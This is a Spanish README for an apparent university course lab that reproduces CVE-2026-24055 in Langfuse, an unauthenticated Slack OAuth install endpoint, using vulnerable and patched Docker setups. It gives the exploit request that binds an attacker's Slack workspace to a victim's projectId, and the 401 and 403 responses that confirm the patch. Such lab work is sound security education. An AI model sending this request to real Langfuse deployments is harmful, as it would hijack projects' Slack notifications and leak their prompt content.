
Demostración educativa de explotación del CVE-2026-24055 dirigida a la instalación no autenticada de Slack OAuth en Langfuse, con entornos Docker vulnerables y parcheados para pruebas de seguridad prácticas.
Proyecto del curso Seguridad Web y de Aplicaciones — Grupo 06, clase NT213.Q21.ANTT
El proyecto reproduce una vulnerabilidad de seguridad real ya publicada (CVE-2026-24055) en la plataforma Langfuse — un endpoint OAuth que permite a un atacante apropiarse de la conexión de un workspace de Slack a un proyecto ajeno sin necesidad de iniciar sesión.
El proyecto incluye: montar un entorno Docker que simula tanto la versión vulnerable como la versión parcheada, realizar la explotación paso a paso, y verificar que el parche funciona correctamente. Con ello se practica el análisis de vulnerabilidades de Control de Acceso en el flujo OAuth, una habilidad aplicable directamente al construir o auditar sistemas de autenticación web.
Habilidades demostradas: análisis del flujo OAuth2, Docker, lectura de avisos de seguridad, redacción de informes técnicos, pruebas de seguridad (security testing).
CVE-2026-24055 es una vulnerabilidad de Improper Access Control en Langfuse desde la versión 3.89.0 hasta 3.146.0.
El endpoint /api/public/slack/install no requiere autenticación, lo que permite al atacante vincular su workspace de Slack a cualquier proyecto con solo conocer el projectId. Cuando la víctima crea una automatización que envía notificaciones a Slack, todo el contenido del prompt se filtra al workspace del atacante.
| Atributo | Detalle |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| Versiones afectadas | Langfuse 3.89.0 – 3.146.0 |
| Versión parcheada | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| Herramienta | Versión mínima |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | cualquiera |
| RAM | 8 GB |
La API de Slack permite usar
http://localhost:3000como Redirect URL.
http://localhost:3000
cd vulnerable
cp .env.example .env
Abre el archivo .env y rellena los siguientes valores:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
Comprueba que los contenedores estén listos:
docker compose ps
Espera unos 30–60 segundos. Todos los contenedores deben estar en estado
Up (healthy).
Accede a http://localhost:3000:
Cuenta de la víctima
Cuenta del atacante
En el navegador del atacante (sin necesidad de iniciar sesión en Langfuse), accede a:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
El flujo ocurre así:
Inicia sesión con la cuenta de la víctima:
Prompt created / updated / deletedSlack → elige el canalcd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# Rellena los mismos valores que en la parte vulnerable
docker compose up -d
Prueba sin iniciar sesión:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
Resultado esperado — HTTP 401:
{ "error": "Authentication required" }
Prueba iniciando sesión como atacante, usando el projectId de la víctima:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Resultado esperado — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
La vulnerabilidad ha sido parcheada por completo.
docker compose down
Si quieres borrar todos los datos (volumes):
docker compose down -v
cve-2026-24055/
├── README.md ← este archivo
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (vulnerable)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (parcheado)
└── .env.example